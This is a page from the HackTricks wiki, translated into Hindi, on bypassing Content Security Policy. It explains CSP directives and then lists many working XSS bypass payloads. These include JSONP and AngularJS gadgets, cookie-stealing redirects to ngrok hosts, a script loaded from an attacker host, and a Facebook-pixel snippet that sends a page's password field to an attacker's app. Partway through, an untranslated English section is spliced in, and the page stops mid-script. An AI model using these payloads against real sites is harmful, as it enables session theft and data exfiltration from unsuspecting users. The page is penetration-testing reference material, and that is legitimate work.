.. | ||
csp-bypass-self-+-unsafe-inline-with-iframes.md | ||
README.md |
सामग्री सुरक्षा नीति (CSP) बाईपास
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके HackTricks और HackTricks Cloud github repos में।
HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
हैकिंग इंसाइट्स
हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री से जुड़ें
रियल-टाइम हैक न्यूज़
तेजी से बदलती हैकिंग दुनिया के साथ अप-टू-डेट रहें न्यूज़ और इंसाइट्स के माध्यम से
नवीनतम घोषणाएं
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें
हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
CSP क्या है
कंटेंट सुरक्षा नीति (CSP) को ब्राउज़र प्रौद्योगिकी के रूप में मान्यता प्राप्त है, जिसका मुख्य उद्देश्य क्रॉस-साइट स्क्रिप्टिंग (XSS) जैसे हमलों से बचाव है। यह इसके द्वारा कार्य करता है कि ब्राउज़र द्वारा सुरक्षित रूप से लोड किए जा सकने वाले संसाधनों के मार्ग और स्रोतों को परिभाषित और विस्तारित करके। इन संसाधनों में छवियाँ, फ्रेम्स, और जावास्क्रिप्ट जैसे तत्व शामिल हैं। उदाहरण के लिए, एक नीति स्वयं डोमेन (सेल्फ) से संसाधनों को लोड और क्रियान्वित करने की अनुमति दे सकती है, इनलाइन संसाधनों को और eval
, setTimeout
, या setInterval
जैसे फ़ंक्शन के माध्यम से स्ट्रिंग कोड का क्रियान्वयन।
CSP का कार्यान्वयन प्रतिक्रिया हेडर के माध्यम से या एचटीएमएल पेज में मेटा तत्वों को शामिल करके किया जाता है। इस नीति के अनुसार, ब्राउज़र सक्रिय रूप से इन निर्धारित शर्तों का पालन करते हैं और किसी भी पारदर्शित उल्लंघन को तुरंत रोक देते हैं।
- प्रतिक्रिया हेडर के माध्यम से कार्यान्वित:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- मेटा टैग के माध्यम से लागू किया गया:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
हेडर्स
CSP को इन हेडर्स का उपयोग करके प्रवर्तित या मॉनिटर किया जा सकता है:
Content-Security-Policy
: CSP को प्रवर्तित करता है; ब्राउज़र किसी भी उल्लंघन को ब्लॉक करता है।Content-Security-Policy-Report-Only
: मॉनिटरिंग के लिए उपयोग किया जाता है; उल्लंघन की रिपोर्ट ब्लॉक किए बिना करता है। प्री-प्रोडक्शन वातावरण में टेस्टिंग के लिए आदर्श है।
संसाधनों की परिभाषा
CSP निर्धारित करता है कि सक्रिय और निष्क्रिय सामग्री लोड करने के लिए मूल स्रोतों को किस प्रकार से प्रतिबंधित किया जाए, इनलाइन जावास्क्रिप्ट निष्पादन और eval()
का उपयोग करने जैसे पहलुओं को नियंत्रित करता है। एक उदाहरण नीति है:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
निर्देशिकाएँ
- script-src: जावास्क्रिप्ट के लिए विशिष्ट स्रोतों को अनुमति देता है, जैसे URL, इनलाइन स्क्रिप्ट, और ईवेंट हैंडलर या XSLT स्टाइलशीट द्वारा ट्रिगर किए गए स्क्रिप्ट।
- default-src: विशिष्ट फेच निर्देशिकाएँ अनुपस्थित होने पर संसाधनों को प्राप्त करने के लिए एक डिफ़ॉल्ट नीति सेट करता है।
- child-src: वेब वर्कर्स और एम्बेडेड फ्रेम सामग्री के लिए अनुमति दी गई स्रोतों को निर्दिष्ट करता है।
- connect-src: fetch, WebSocket, XMLHttpRequest जैसे इंटरफेस का उपयोग करके लोड किए जा सकने वाले URL पर प्रतिबंध लगाता है।
- frame-src: फ्रेम के लिए URL पर प्रतिबंध लगाता है।
- frame-ancestors: मौजूदा पेज को एम्बेड कर सकते हैं उन स्रोतों को निर्दिष्ट करता है, जो
<frame>
,<iframe>
,<object>
,<embed>
, और<applet>
जैसे तत्वों के लिए लागू होता है। - img-src: छवियों के लिए अनुमति दी गई स्रोतों को परिभाषित करता है।
- font-src:
@font-face
का उपयोग करके लोड किए जाने वाले फ़ॉन्ट के लिए मान्य स्रोतों को निर्दिष्ट करता है। - manifest-src: एप्लिकेशन मैनिफ़ेस्ट फ़ाइलों के अनुमत स्रोतों को परिभाषित करता है।
- media-src: मीडिया ऑब्जेक्ट्स को लोड करने के लिए अनुमति दी गई स्रोतों को परिभाषित करता है।
- object-src:
<object>
,<embed>
, और<applet>
तत्वों के लिए अनुमति दी गई स्रोतों को परिभाषित करता है। - base-uri:
<base>
तत्वों का उपयोग करके लोड करने के लिए अनुमति दी गई URL को निर्दिष्ट करता है। - form-action: फॉर्म सबमिशन के लिए मान्य एंडपॉइंट्स की सूची देता है।
- plugin-types: पृष्ठ द्वारा आमंत्रित किए जाने वाले माइम प्रकारों पर प्रतिबंध लगाता है।
- upgrade-insecure-requests: ब्राउज़र को HTTP URL को HTTPS में रीव्राइट करने के लिए निर्देशित करता है।
- sandbox:
<iframe>
के सैंडबॉक्स विशेषताओं को लागू करता है। - report-to: यदि नीति का उल्लंघन होता है, तो रिपोर्ट किया जाएगा एक समूह को निर्दिष्ट करता है।
- worker-src: Worker, SharedWorker, या ServiceWorker स्क्रिप्ट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
- prefetch-src: उन स्रोतों के लिए मान्य स्रोतों को निर्दिष्ट करता है जो लोड या पूर्व-लोड किए जाएंगे।
- navigate-to: किसी भी तरीके से एक दस्तावेज़ को जिस URL पर नेविगेट किया जा सकता है को प्रतिबंधित करता है (a, form, window.location, window.open, आदि)।
स्रोत
*
:data:
,blob:
,filesystem:
योजनाओं वाले उन सभी URL को अनुमति देता है जो अनुमति नहीं हैं।'self'
: एक ही डोमेन से लोड करने की अनुमति देता है।'data'
: डेटा योजना के माध्यम से संसाधनों को लोड करने की अनुमति देता है (उदाहरण के लिए, बेस64 एन्कोडेड छवियाँ)।'none'
: किसी भी स्रोत से लोड करने की अनुमति नहीं देता है।'unsafe-eval'
:eval()
और समान विधियों का उपयोग करने की अनुमति देता है, सुरक्षा कारणों से सिफारिश नहीं की जाती।'unsafe-hashes'
: विशिष्ट इनलाइन ईवेंट हैंडलर्स को सक्षम करता है।'unsafe-inline'
: इनलाइन<script>
या<style>
जैसे इनलाइन संसाधनों का उपयोग करने की अनुमति देता है, सुरक्षा कारणों से सिफारिश नहीं की जाती।'nonce'
: एक क्रिप्टोग्राफिक नॉन्स (एक बार उपयोग किया गया संख्या) का उपयोग करके विशिष्ट इनलाइन स्क्रिप्ट के लिए एक सफेद सूची।'sha256-<hash>'
: विशिष्ट sha256 हैश के साथ स्क्रिप्ट को सफेद सूची में रखता है।'strict-dynamic'
: यदि एक नॉन्स या हैश द्वारा सफेद सूची में शामिल किया गया है, तो किसी भी स्रोत से स्क्रिप्ट लोड करने की अनुमति देता है।'host'
:example.com
जैसा विशिष्ट होस्ट निर्दिष्ट करता है।https:
: HTTPS का उपयोग करने वाले उन URL को प्रतिबंधित करता है।blob:
: Blob URLs से संसाधनों को लोड करने की अनुमति देता है (उदाहरण के लिए, जावास्क्रिप्ट के माध्यम से बनाए गए Blob URLs)।filesystem:
: फ़ाइल सिस्टम से संसाधनों को लोड करने की अनुमति देता है।'report-sample'
: उल्लंघन रिपोर्ट में उल्लंघन कोड का एक नमूना शामिल करता है (डीबगिंग के लिए उपयोगी)।'strict-origin'
: 'self' के समान है, लेकिन स्रोतों का प्रोटोकॉल सुरक्षा स्तर दस्तावेज़ से मेल खाता है (केवल सुरक्षित मूल स्रोत सुरक्षित मूल स्रोतों से संसाधनों को लोड कर सकते हैं)।'strict-origin-when-cross-origin'
: समान मूल स्रोत अनुरोध करते समय पूर्ण URL भेजता है, लेकिन अनुरोध क्रॉस-मूल होने पर केवल मूल को भेजता है।'unsafe-allow-redirects'
: संसाधनों को लोड करने की अनुमति देता है जो तुरंत दूसरे संसाधन पर पुन:निर्देशित होंगे। सुरक्षा कमजोर करने के लिए सिफारिश नहीं की जाती।
असुरक्षित सीएसपी नियम
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Working payload: "/><script>alert(1);</script>
self + 'unsafe-inline' via Iframes
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}
'unsafe-eval'
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
काम करने वाला पेलोड:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
यदि आप किसी प्रकार से अनुमत JS कोड नए स्क्रिप्ट टैग को DOM में अपने JS कोड के साथ बना सकते हैं, क्योंकि एक अनुमत स्क्रिप्ट इसे बना रहा है, तो नया स्क्रिप्ट टैग को निषेधित किया जाने दिया जाएगा।
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
काम करने वाला पेलोड:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
ऑब्जेक्ट-स्र्स और डिफ़ॉल्ट-स्र्स की कमी
{% hint style="danger" %} ऐसा लगता है कि यह अब काम नहीं कर रहा है {% endhint %}
Content-Security-Policy: script-src 'self' ;
काम करने वाले payloads:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
फ़ाइल अपलोड + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
यदि आप एक JS फ़ाइल अपलोड कर सकते हैं तो आप इस CSP को बाईपास कर सकते हैं:
काम करने वाला पेलोड:
"/>'><script src="/uploads/picture.png.js"></script>
फिर भी, यह अत्यंत संभावित है कि सर्वर अपलोड की गई फ़ाइल की पुष्टि कर रहा है और केवल आपको निर्धारित प्रकार की फ़ाइलें अपलोड करने देगा।
इसके अतिरिक्त, यदि आप सर्वर द्वारा स्वीकृत एक्सटेंशन का उपयोग करके एक फ़ाइल में JS कोड अपलोड कर सकते हैं (जैसे: script.png) तो भी यह काफी नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर एक्सटेंशन के आधार पर फ़ाइल का MIME प्रकार चुनते हैं और Chrome जैसे ब्राउज़र उस चीज़ को नकारेगा जिसे छवि होना चाहिए में जावास्क्रिप्ट कोड को निषेधित करने के लिए। "आशा है", यहाँ गलतियाँ हैं। उदाहरण के लिए, एक CTF से मुझे पता चला कि अपाचे को पता नहीं है कि .wave एक्सटेंशन, इसलिए यह एक ऑडियो/* जैसे MIME प्रकार के साथ सर्विस नहीं करता।
यहाँ से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आपको गलत अन्तर्विवरण वाला एक्सटेंशन मिलता है, तो आप उस एक्सटेंशन के साथ एक फ़ाइल और स्क्रिप्ट की सामग्री अपलोड करने की कोशिश कर सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल का सही प्रारूप जांच रहा है, तो एक पॉलीग्लॉट बनाएं (यहाँ कुछ पॉलीग्लॉट उदाहरण हैं)।
थर्ड पार्टी एंडपॉइंट + ('unsafe-eval')
{% hint style="warning" %}
कुछ निम्नलिखित पेलोड के लिए unsafe-eval
की आवश्यकता ही नहीं है।
{% endhint %}
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
एक वंलरेबल संस्करण को लोड करें और विविध JS को क्रियान्वित करें:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Angular + एक पुस्तकालय का उपयोग करने वाले पेलोड (इस पोस्ट की जाँच करें):
{% hint style="info" %}
इस पोस्ट में दिखाया गया है कि आप cdn.cloudflare.com से सभी पुस्तकालय को लोड कर सकते हैं (या किसी अन्य अनुमत JS पुस्तकालय रेपो से), हर पुस्तकालय से जोड़ी गई सभी फ़ंक्शन को क्रियान्वित कर सकते हैं, और जांच सकते हैं **किस पुस्तकालय से कौन से फ़ंक्शन window
ऑब्ज
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Google reCAPTCHA JS को दुरुपयोग करना
इस CTF व्रिटअप के अनुसार आप https://www.google.com/recaptcha/ का दुरुपयोग कर सकते हैं एक CSP के अंदर अनियमित JS कोड को बाहर करते हुए CSP को छलकरते हुए:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
थर्ड पार्टी एंडपॉइंट्स + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
इस तरह के परिदृश्य जहां script-src
को self
और एक विशेष डोमेन जो सफेद सूचीबद्ध है, को JSONP का उपयोग करके उमार सकते हैं। JSONP एंडपॉइंट्स असुरक्षित कॉलबैक विधियों को संभावित करते हैं जिससे एक हमलावादी XSS कार्रवाई कर सकता है, काम करने वाला पेलोड:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee में विभिन्न वेबसाइटों के CSP बाईपास के लिए तैयार JSONP एंडपॉइंट्स शामिल हैं।
यदि विश्वसनीय एंडपॉइंट में एक ओपन रीडायरेक्ट है, तो एक ही सुरक्षा दोष होगा क्योंकि यदि प्रारंभिक एंडपॉइंट विश्वसनीय है, तो रीडायरेक्ट्स भी विश्वसनीय होते हैं।
तीसरे पक्ष का दुरुपयोग
इस पोस्ट में वर्णित के अनुसार, कई तीसरे पक्ष डोमेन, जो कहीं-न-कहीं CSP में अनुमति हो सकते हैं, उनका दुरुपयोग किया जा सकता है या तो डेटा को बाहर ले जाने के लिए या जावास्क्रिप्ट को क्रियान्वित करने के लिए। कुछ तीसरे पक्ष इस प्रकार हैं:
Entity | Allowed Domain | Capabilities |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
यदि आपके लक्ष्य के CSP में किसी भी अनुमति दिए गए डोमेन को पाते हैं, तो संभावना है कि आप तीसरे पक्ष सेवा पर पंजीकरण करके, उस सेवा में डेटा को बाहर ले जाने या कोड को क्रियान्वित करने के लिए CSP को बाईपास कर सकते हैं।
उदाहरण के लिए, यदि आप निम्नलिखित CSP पाते हैं:
Content-Security-Policy: default-src 'self’ www.facebook.com;
Content Security Policy (CSP) Bypass
Introduction
In this section, we will discuss various techniques to bypass Content Security Policy (CSP) implemented on a web application.
What is Content Security Policy (CSP)?
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP works by defining the sources from which the browser can load resources for a particular web page. If an attacker tries to load malicious content from an unauthorized source, CSP will block it from executing.
Bypassing CSP
There are several ways to bypass CSP protections, including:
- Inline Script Execution: Injecting malicious code directly into HTML attributes or event handlers.
- External Script Execution: Loading external scripts from whitelisted domains that can be used to execute malicious code.
- Data Injection: Embedding malicious data within permitted HTML elements.
- Meta Tag Manipulation: Modifying meta tags to control the behavior of the CSP.
- Browser Extension: Using a browser extension to disable or modify the CSP headers.
By understanding these techniques, you can effectively test the security of web applications that have CSP implemented.
Content-Security-Policy: connect-src www.facebook.com;
आपको डेटा को बाहर निकालने में सक्षम होना चाहिए, जिसे Google Analytics/Google Tag Manager के साथ हमेशा किया गया है। इस मामले में, आप निम्नलिखित सामान्य चरणों का पालन करते हैं:
- यहाँ एक Facebook Developer खाता बनाएं।
- एक नया "Facebook Login" ऐप बनाएं और "वेबसाइट" का चयन करें।
- "सेटिंग्स -> मूल" पर जाएं और अपना "ऐप आईडी" प्राप्त करें।
- उस लक्षित साइट पर जिससे आप डेटा बाहर निकालना चाहते हैं, आप "fbq" उपकरण का सीधा उपयोग करके "कस्टम इवेंट" और डेटा पेलोड के माध्यम से डेटा बाहर निकाल सकते हैं।
- अपने ऐप "इवेंट मैनेजर" पर जाएं और आपने बनाया ऐप्लिकेशन चुनें (नोट करें कि इवेंट मैनेजर इस प्रकार के यूआरएल में पाया जा सकता है: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)
- "टेस्ट इवेंट्स" टैब का चयन करें ताकि "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स देख सकें।
फिर, पीड़ित पक्ष पर, आप निम्नलिखित कोड को निष्पादित करें ताकि आप Facebook ट्रैकिंग पिक्सल को आक्रमक के Facebook डेवलपर खाते ऐप-आईडी पर पॉइंट करने और इस प्रकार कस्टम इवेंट जारी करें:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
रीडायरेक्ट के माध्यम से बायपास
उपरोक्त पथ प्रतिबंधों को अनदेखा करने के लिए रीडायरेक्ट के अतिरिक्त, कुछ सर्वरों पर एक और तकनीक नामक रिलेटिव पथ ओवरराइट (RPO) है जिसका उपयोग किया जा सकता है।
उदाहरण के लिए, यदि सीएसपी https://example.com/scripts/react/
पथ की अनुमति देता है, तो इसे निम्नलिखित रूप में बायपास किया जा सकता है:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
ब्राउज़र आखिरकार https://example.com/scripts/angular/angular.js
लोड करेगा।
यह काम क्योंकि ब्राउज़र के लिए आप https://example.com/scripts/react/
के नीचे स्थित ..%2fangular%2fangular.js
नामक फ़ाइल लोड कर रहे हैं, जो सीएसपी के अनुसार है।
इसलिए, वे इसे डिकोड करेंगे, जिससे https://example.com/scripts/react/../angular/angular.js
का अनुरोध किया जाएगा, जो https://example.com/scripts/angular/angular.js
के समान है।
इस URL व्याख्यान में ब्राउज़र और सर्वर के बीच URL व्याख्यान में असंगति का उपयोग करके, पथ नियमों को उल्लंघित किया जा सकता है।
समाधान यह है कि सर्वर-साइड पर %2f
को /
के रूप में न देखें, ताकि ब्राउज़र और सर्वर के बीच संगत व्याख्यान सुनिश्चित करने के लिए इस समस्या से बचा जा सके।
ऑनलाइन उदाहरण: https://jsbin.com/werevijewa/edit?html,output
Iframes JS execution
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
गायब base-uri
यदि base-uri निर्देशिका गायब है तो आप इसे दुरुपयोग करने के लिए उपयोग कर सकते हैं ताकि एक डैंगलिंग मार्कअप इंजेक्शन किया जा सके।
इसके अतिरिक्त, यदि पृष्ठ एक निर्दिष्ट पथ का उपयोग करके स्क्रिप्ट लोड कर रहा है (जैसे <script src="/js/app.js">
) एक Nonce का उपयोग करके, तो आप बेस टैग का दुरुपयोग कर सकते हैं ताकि यह आपके अपने सर्वर से स्क्रिप्ट लोड करे और एक XSS प्राप्त कर सके।
यदि संकटपूर्ण पृष्ठ httpS के साथ लोड हो रहा है, तो बेस में httpS url का उपयोग करें।
<base href="https://www.attacker.com/">
AngularJS इवेंट्स
एक विशिष्ट नीति जिसे सामग्री सुरक्षा नीति (CSP) के रूप में जाना जाता है, जावास्क्रिप्ट इवेंट्स को प्रतिबंधित कर सकती है। फिर भी, AngularJS एक वैकल्पिक रूप में कस्टम इवेंट्स को पेश करता है। एक इवेंट के भीतर, AngularJS एक अद्वितीय ऑब्ज
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
यह स्निपेट ng-focus
निर्देशिका का उपयोग हासिल करता है घटना को ट्रिगर करने के लिए, $event.path|orderBy
का उपयोग करता है path
एरे को संशोधित करने के लिए, और alert()
फ़ंक्शन को निष्पादित करने के लिए window
ऑब्जेक्ट का उपयोग करता है, इस तरह document.cookie
को प्रकट करता है।
अन्य एंगुलर बायपास खोजें https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
एंगुलरजेएस और व्हाइटलिस्टेड डोमेन
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
काम करने वाले पेलोड्स:
- Payload 1
- Payload 2
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Bypass के माध्यम से पुनर्निर्देशन
CSP को सर्वर-साइड पुनर्निर्देशन का सामना कैसे करना चाहिए? अगर पुनर्निर्देशन एक अलग मूल स्थान पर जाता है जो अनुमति नहीं है, तो यह फेल हो जाएगा।
हालांकि, CSP स्पेक 4.2.2.3. Paths and Redirects में विवरण के अनुसार, अगर पुनर्निर्देशन एक अलग पथ पर जाता है, तो यह मूल निषेधों को छल सकता है।
यहाँ एक उदाहरण है:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
यदि CSP को https://www.google.com/a/b/c/d
पर सेट किया गया है, क्योंकि पथ को माना जाता है, इसलिए /test
और /a/test
स्क्रिप्ट दोनों CSP द्वारा अवरुद्ध किए जाएंगे।
हालांकि, अंतिम http://localhost:5555/301
सर्वर-द्वारा https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
पर पुन:निर्देशित किया जाएगा। क्योंकि यह एक पुनर्निर्देशन है, पथ को ध्यान में नहीं रखा जाता है, और स्क्रिप्ट लोड किया जा सकता है, इसलिए पथ प्रतिबंध को उलटा कर दिया जाता है।
इस पुनर्निर्देशन के साथ, यदि पूरी तरह से पथ निर्दिष्ट किया जाता है, तो भी इसे अवरुद्ध किया जाएगा।
इसलिए, सबसे अच्छा समाधान यह है कि सुनिश्चित किया जाए कि वेबसाइट में कोई खुला पुनर्निर्देशन संवर्गनियता नहीं है और कोई डोमेन नहीं है जिसे CSP नियमों में शोषित किया जा सकता है।
डैंगलिंग मार्कअप के साथ CSP को उल्लंघन करें
'unsafe-inline'; img-src *; via XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट निष्पादित कर सकते हैं (XSS कोड को निष्पादित कर सकता है) और img-src *
का मतलब है कि आप किसी भी स्रोत से किसी भी छवि का उपयोग वेबपेज में कर सकते हैं।
आप इस CSP को छवियों के माध्यम से डेटा निकालकर इसे अनदेखा कर सकते हैं (इस अवसर में XSS एक CSRF का दुरुपयोग करता है जहां बॉट द्वारा पहुंची जा सकने वाली पृष्ठ में एक SQLi होती है, और एक छवि के माध्यम से ध्वज निकालता है):
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
आप इस कॉन्फ़िगरेशन का दुरुपयोग करके एक छवि के अंदर डाले गए जावास्क्रिप्ट को लोड कर सकते हैं। यदि उदाहरण के लिए, पृष्ठ को ट्विटर से छवियां लोड करने की अनुमति है। तो आप एक विशेष छवि तैयार कर सकते हैं, इसे ट्विटर पर अपलोड कर सकते हैं और "unsafe-inline" का दुरुपयोग करके एक JS कोड (एक नियमित XSS के रूप में) को चलाने के लिए उसे कर सकते हैं: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
सेवा कर्मचारियों के साथ
सेवा कर्मचारियों का importScripts
फ़ंक्शन सीएसपी द्वारा सीमित नहीं है:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
नीति इंजेक्शन
शोध: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
यदि आप द्वारा भेजे गए पैरामीटर को नीति के घोषणा के अंदर पेस्ट किया जा रहा है, तो आप नीति को उस प्रकार से बदल सकते हैं जिससे वह अनर्थक हो जाती है। आप इनमें से किसी भी बायपास के साथ स्क्रिप्ट 'unsafe-inline' को अनुमति दे सकते हैं:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
क्योंकि यह निर्देशिका मौजूदा script-src निर्देशिकाओं को अधिलेखित कर देगी।
आप यहाँ एक उदाहरण पा सकते हैं: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
Edge में यह काफी सरल है। यदि आप CSP में बस यह जोड़ सकते हैं: ;_
तो Edge पूरी नीति को छोड़ देगा।
उदाहरण: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; via XSS (iframe) - Time attack
नोटिस करें निर्देशिका 'unsafe-inline'
की कमी को
इस बार आप पीड़ित को एक पृष्ठ अपने नियंत्रण में XSS के माध्यम से लोड करने के लिए कर सकते हैं <iframe
। इस बार आप पीड़ित से उस पृष्ठ को एक्सेस करने के लिए करेंगे जहां से आपको जानकारी निकालनी है (CSRF)। आप पृष्ठ की सामग्री तक पहुंच नहीं सकते, लेकिन अगर किसी तरह से आप पृष्ठ को लोड होने में समय को नियंत्रित कर सकते हैं तो आप जो जानकारी आपको चाहिए उसे निकाल सकते हैं।
इस बार एक ध्वज निकाला जाएगा, जब किसी char को सही ढंग से अनुमानित किया जाता है तो SQLi के माध्यम से प्रतिक्रिया को नींद की फ़ंक्शन के कारण अधिक समय लगता है। फिर, आप ध्वज को निकाल सकेंगे:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
